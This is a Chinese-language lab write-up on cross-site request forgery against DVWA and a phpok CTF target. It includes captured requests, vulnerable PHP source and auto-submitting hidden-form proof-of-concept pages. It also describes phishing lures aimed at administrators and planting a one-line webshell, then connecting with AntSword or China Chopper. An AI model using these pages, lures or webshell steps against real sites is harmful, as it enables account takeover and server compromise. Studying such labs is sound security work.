CSRF
DVWA靶场的解释
Cross Site Request Forgery 跨站请求伪造
About
CSRF is an attack that forces an end user to execute unwanted actions on a web application in which they are currently authenticated. With a little help of social engineering (such as sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker’s choosing.
CSRF是强迫终端用户在他们已经登录的web应用上执行有害的操作
只需要一点社工知识的帮助(比如通过邮件或者聊天发送链接),攻击者就可以强迫web应用的用户执行攻击者给定的操作
A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.
一个成功的CSRF漏洞挖掘可以做到:
对于普通用户,让他们交出自己的数据
对于管理员用户,可以让整个web应用就范
This attack may also be called “XSRF”, similar to “Cross Site scripting (XSS)”, and they are often used together.
这种攻击也可以叫做XSRF,类似于跨站脚本攻击(XSS),并且哥俩经常一块儿兴风作浪
Objective
Your task is to make the current user change their own password, without them knowing about their actions, using a CSRF attack.
目标:在不让当前用户之情的情况下篡改其登录密码
CSRF发生的过程
phpok4.2.100 CSRF靶场
1.利用服务端对客户端浏览器的信任,让用户点击钓鱼链接执行命令
具体的说,就是当用户登录某个网站之后,作为用户代理的浏览器会保存该用户在网站的cookie,包括登录信息啥的.此时攻击者整一个钓鱼链接发给用户,用户点击之后执行这个链接,然后以用户的名义(cookie)在网站做出行为.如果用户是管理员则该链接可以是创建新的管理员账号的行为,新管理员账号的用户名和密码都是攻击者设计的
这样干说还是抽象,实际操作可能是这样的:
当我们以管理员身份登录后台,可以添加系统管理员账号,我们到现在还没有攻击手段,以只是以管理员视角看看管理员的请求是什么样的
点击提交之后burp抓到数据包,这就是发往后端的注册新管理员的请求
对于攻击者来说,要借助管理员之手为自己创建一个这样的管理员账号,就是要让管理员发送这么一个数据包
注意这里有两个关键点,一是让管理员来干,不是自己,利用的是管理员的cookie
二是发送这么一个数据包
POST /admin.php?c=admin&f=save HTTP/1.1
Host: 4e34e4cb.lxctf.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040206 Firefox/0.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Origin: http:
Connection: close
Referer: http:
Cookie: PHPSESSION=1gptgbg62pvo0p4s79nft94ok1
Upgrade-Insecure-Requests: 1
id=&account=dsfd&pass=afdsf&email=adfads&status=1&if_system=1S
显然可以通过页面请求实现,即写一个HTML页面向后端请求
云演课堂给出的网页是这样写的
<div style="display:none">
<form action="http://<这里是网页的域名或者ip:port地址>/admin.php?c=admin&f=save" id="poc" name="poc" method="post">
<input type="hidden" name="id" value=""/>
<input type="hidden" name="account" value=""/>
<input type="hidden" name="pass" value=""/>
<input type="hidden" name="email" value=""/>
<input type="hidden" name="status" value=""/>
<input type="hidden" name="if_system" value=""/>
<input type="submit" name="up" value="submit"/>
</form>
<script>
var t = document.poc;
t.account.value="666666";
t.pass.value="123456";
t.status.value="1";
t.if_system.value="1";
document.poc.submit();
</script>
</div>
这个网页由于input标签的类型都是"hidden"不可见,打开之后一片空白,但是却通过脚本修改并提交了表单.
最后一步是忽悠管理员来打开这个页面,此时需要"通过社工的方法"
比如将该HTML页面以"色图"的名义通过qq发给管理员朋友,诱惑他执行
或者将该页面挂在网上,(目的是像图床一样让别人通过链接访问到该页面),然后在该网页的论坛等能发言的地方说"这个问题怎么解决啊,求教管理大大,http:\balabala",然后管理员热情打开这个链接试图解决问题却发现一个空白页面,一脸懵逼但是没有办法,也没有按下F12看看前端干了啥就走了,这时他连自己是帮凶都不知道
2.管理员上钩了
如果一个管理员足够傻点开了色图,那么一个新的管理员账号就会注册,其用户名和密码都是我们所知的
我们有了系统管理员权限,下一步就是留一个后门(木马)在服务端
需要找一个能够操作后端文件的地方,比如这个"风格管理"
改名使得文件可以被改成php后缀执行
编辑使得文件可以被改写内容成一句话木马
比如我们拿倒霉的head.html做如下手术
1.加上一句话木马,口令是c
2.修改后缀名使其可执行
改完之后可怜的head.html变成了内鬼head.php
3.中国菜刀或者中国蚁剑木马计
在风格管理页面最下面傻傻地给出了我们的内鬼所在的位置
我们推测内鬼在
http://4a263ba9.lxctf.net/tpl/www/head.php
使用中国蚁剑
网站权限就到手了
内鬼同志也在这里
DVWA CSRF low
页面逻辑
首先分析一下页面逻辑
Test Credentials按钮点击后会弹窗测试用户名和密码是否正确
Change点击后提交密码修改的表单请求
在前端代码上看则会更清晰
<div class="body_padded">
<h1>Vulnerability: Cross Site Request Forgery (CSRF)</h1>
<div class="vulnerable_code_area">
<h3>Change your admin password:</h3><br />
<div id="test_credentials">
<button onclick="testFunct()">Test Credentials</button><br /><br />
<script>
function testFunct(){
window.open("../../vulnerabilities/csrf/test_credentials.php","_blank",
"toolbar=yes,scrollbars=yes,resizable=yes,top=500,left=500,width=600,height=400");
}
</script>
</div><br />
<form action="#" method="GET">
New password:<br />
<input type="password" AUTOCOMPLETE="off" name="password_new"><br />
Confirm new password:<br />
<input type="password" AUTOCOMPLETE="off" name="password_conf"><br />
<br />
<input type="submit" value="Change" name="Change">
</form>
</div>
</div>
下面是后端的逻辑
low.php
<?php
if( isset( $_GET[ 'Change' ] ) ) {
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
if( $pass_new == $pass_conf ) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
echo "<pre>Password Changed.</pre>";
}
else {
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
就是一后端接收新密码,加密,修改数据库的过程
test_credentials.php
<?php
define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
dvwaPageStartup( array( 'authenticated', 'phpids' ) );
dvwaDatabaseConnect();
$login_state = "";
if( isset( $_POST[ 'Login' ] ) ) {
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user);
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass);
$pass = md5( $pass );
$query = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
$result = @mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>'. mysqli_connect_error() . '.<br />Try <a href="setup.php">installing again</a>.</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
$login_state = "<h3 class=\"loginSuccess\">Valid password for '{$user}'</h3>";
}else{
$login_state = "<h3 class=\"loginFail\">Wrong password for '{$user}'</h3>";
}
}
$messagesHtml = messagesPopAllToHtml();
$page = dvwaPageNewGrab();
$page[ 'title' ] .= "Test Credentials";
$page[ 'body' ] .= "
<div class=\"body_padded\">
<h1>Test Credentials</h1>
<h2>Vulnerabilities/CSRF</h2>
<div id=\"code\">
<form action=\"" . DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/csrf/test_credentials.php\" method=\"post\">
<fieldset>
" . $login_state . "
<label for=\"user\">Username</label><br /> <input type=\"text\" class=\"loginInput\" size=\"20\" name=\"username\"><br />
<label for=\"pass\">Password</label><br /> <input type=\"password\" class=\"loginInput\" AUTOCOMPLETE=\"off\" size=\"20\" name=\"password\"><br />
<p class=\"submit\"><input type=\"submit\" value=\"Login\" name=\"Login\"></p>
</fieldset>
</form>
{$messagesHtml}
</div>
</div>\n";
dvwaSourceHtmlEcho( $page );
?>
以用户输入作为数据库查询条件,如果查询结果有一条则报告正确
CSRF攻击需要构造页面发送请求是用户被迫实现密码修改
页面如何构造?
构造请求
我们参考云演课堂中给出的页面构造方法:
POST /admin.php?c=admin&f=save HTTP/1.1
Host: 4e34e4cb.lxctf.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040206 Firefox/0.8
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Origin: http://4e34e4cb.lxctf.net
Connection: close
Referer: http://4e34e4cb.lxctf.net/admin.php?c=admin&f=set
Cookie: PHPSESSION=1gptgbg62pvo0p4s79nft94ok1
Upgrade-Insecure-Requests: 1
id=&account=dsfd&pass=afdsf&email=adfads&status=1&if_system=1S
这里由于使用的是POST方法,不能在url行里直接上参数,因此写一个网页提交POST表单
<div style="display:none">
<form action="http://<这里是网页的域名或者ip:port地址>/admin.php?c=admin&f=save" id="poc" name="poc" method="post">
<input type="hidden" name="id" value=""/>
<input type="hidden" name="account" value=""/>
<input type="hidden" name="pass" value=""/>
<input type="hidden" name="email" value=""/>
<input type="hidden" name="status" value=""/>
<input type="hidden" name="if_system" value=""/>
<input type="submit" name="up" value="submit"/>
</form>
<script>
var t = document.poc;
t.account.value="666666";
t.pass.value="123456";
t.status.value="1";
t.if_system.value="1";
document.poc.submit();
</script>
</div>
回到本题
首先截获修改密码之后前端法向后端的数据包:
GET /dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change HTTP/1.1
Host: 192.168.171.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.46
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.171.1/dvwa/vulnerabilities/csrf/?password_new=213456&password_conf=456456&Change=Change
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: security=low; PHPSESSID=idb05i6tdn5efjv4nlr99uos21
Connection: close
发现这是一个get数据包(使用的是get还是post也可以直接在前端查看页面源代码发现)
get可以在url行直接带参数,于是我们这样写
http://192.168.171.1/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
只要点击这个链接就发送数据包:
GET /dvwa/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change HTTP/1.1
Host: 192.168.171.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.46
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: security=medium; PHPSESSID=mr9ohnj3uut2qbhrrjq4ida9g1
Connection: close
也可以仿照云演课堂中构造的html页面:
<div style="display:none">
<form action="http://192.168.171.1/dvwa/vulnerabilities/csrf/" id="poc" name="poc" method="get">
<input type="hidden" name="password_new" value=""/>
<input type="hidden" name="password_conf" value=""/>
<input type="hidden" name="Change" value=""/>
</form>
<script>
var t = document.poc;
t.password_new.value="12345";
t.password_conf.value="12345";
t.Change.value="Change";
document.poc.submit();
</script>
</div>
打开页面后同样可以达到目的
GET /dvwa/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change HTTP/1.1
Host: 192.168.171.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.46
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: security=medium; PHPSESSID=mr9ohnj3uut2qbhrrjq4ida9g1
Connection: close
考虑CSRF可以发生的原因:
这个low等级的靶场实在是low,
一是修改密码使用明文传输并且域名行可见的get
这个数据包经过的所有路由都可见,就像在裸奔
二是修改密码不需要输入原密码
如果加上原密码验证则CSRF攻击会直接失去意义
因为,修改密码的逻辑是我们给用户安排好的,这意味着他的原密码我们也是知道的,既然知道他的密码,那么直接登录就好了为啥还要给他修改密码
防御与绕过
DVWA CSRF medium
后端逻辑
<?php
if( isset( $_GET[ 'Change' ] ) ) {
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
if( $pass_new == $pass_conf ) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
echo "<pre>Password Changed.</pre>";
}
else {
echo "<pre>Passwords did not match.</pre>";
}
}
else {
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
用刚才low靶场构造的页面同样作用于medium靶场
报错"That request didn’t look correct",回到后端代码发现是
stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false
为false,没有执行if语句,执行的是else
下面研究该条if判断语句的作用:
function stripos(string $haystack, string $needle, int $offset) false|int 是子串定位函数从第一个参数字符串中寻找第二个字符串的位置,第三个参数是偏移量指定从第一个参数的什么位置开始寻找
在本题中stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) 是在$_SERVER[ 'HTTP_REFERER' ] 找$_SERVER[ 'SERVER_NAME' ] ,这俩是啥东西呢?
$_SERVER
$_SERVER — 服务器和执行环境信息
$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由 Web 服务器创建。不能保证每个服务器都提供全部项目;服务器可能会忽略一些,或者提供一些没有在这里列举出来的项目。这也就意味着大量的此类变量都会在? CGI 1.1 规范中说明,所以应该仔细研究一下。
PHP: $_SERVER - Manual
‘HTTP_REFERER’
引导用户代理到当前页的前一页的地址(如果存在)。由 user agent 设置决定。并不是所有的用户代理都会设置该项,有的还提供了修改 HTTP_REFERER 的功能。简言之,该值并不可信。
关于引荐人Referer,参考了HTTP Referer 教程 - 阮一峰的网络日志 (ruanyifeng.com)
‘SERVER_NAME’
当前运行脚本所在的服务器的主机名。如果脚本运行于虚拟主机中,该名称是由那个虚拟主机所设置的值决定。
注意: 在 Apache 2 里,必须设置 UseCanonicalName = On 和 ServerName 。 否则该值会由客户端提供,就有可能被伪造。 上下文有安全性要求的环境里,不应该依赖此值。
走一遍"合法"的密码修改,填写表单后提交,然后抓包观察数据包
GET /dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change HTTP/1.1
Host: 192.168.171.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.74 Safari/537.36 Edg/99.0.1150.46
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.171.1/dvwa/vulnerabilities/csrf/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: security=medium; PHPSESSID=mr9ohnj3uut2qbhrrjq4ida9g1
Connection: close
发现正儿八经修改密码时确实是有后端需要的Referer和Host的,而我们一开始构造的页面显然没有Referer
$_SERVER["HTTP_REFERER"]=Referer=http://192.168.171.1/dvwa/vulnerabilities/csrf/
$_SERVER["SERVER_NAME"]=Host=192.168.171.1
到此我们大体可以知道medium这样判断的逻辑了:
1.Referer是修改密码之前的页面,开发者认为应当是http://192.168.171.1/dvwa/vulnerabilities/csrf/ ,也就是说修改密码的请求是用户通过该页面点击"Change"按钮提交的,此时该请求会自动带上前一页作为Referer
2.如果Referer中没有server_name即192.168.171.1/dvwa 或者网站的域名,说明该修改密码的请求是造的,假的,不能通过
那么对策是什么?
Referer就一定必须通过前一页点进一个链接才能带上前一页作为Referer吗?或者说Referer能否伪造?
上网搜了一下"怎么修改Referer",发现一个这样的说法
JavaScript 能否修改 Referer 请求头_瑟荻的博客-CSDN博客
这证明我们猜想的对策是正确的
但是试图通过javascript修改Referer的操作却被证明是无效的,比如这样document.referrer="http://192.168.171.1/dvwa/vulnerabilities/csrf/";
因为浏览器禁止了javascript对Referer的修改,这个修改只能是后端来做
伪造Referer引荐人
网上很多博客是自己构造一个网页之后用burp抓包然后添加的referer,但是这样做好像自娱自乐,犯了类似循环论证的错误:
1.这个修改密码的请求应当是位于另一台计算机上的其他用户发送的,不是攻击者发送的
2.攻击者纵使截获了自己自娱自乐的数据包然后修改了referer发送给后端,数据包上带的cookie都是攻击者自己的,和其他用户没关系
3.如果把该数据包理解为攻击者截获的其他用户的数据包,如果是外网用户,那么该攻击者技术确实高,能绕过各种防火墙进行渗透,没话说.
如果是内网比如攻击者和被攻击者是同一个wifi路由器下的舍友,那么还有必要用CSRF攻击吗?ARP欺骗更加容易
我们还是希望通过让远程用户打开一个"色图"网页或者链接这种方式,让他们被迫就范
网上给出的方法:
DVWA-CSRF - 知乎 (zhihu.com)
我也试了,但是就是带不上Referer,抓包看也没有Referer
麻了麻了,对于CSRF的研究就到这里吧,不会有哪个管理员傻傻地看色图吧
|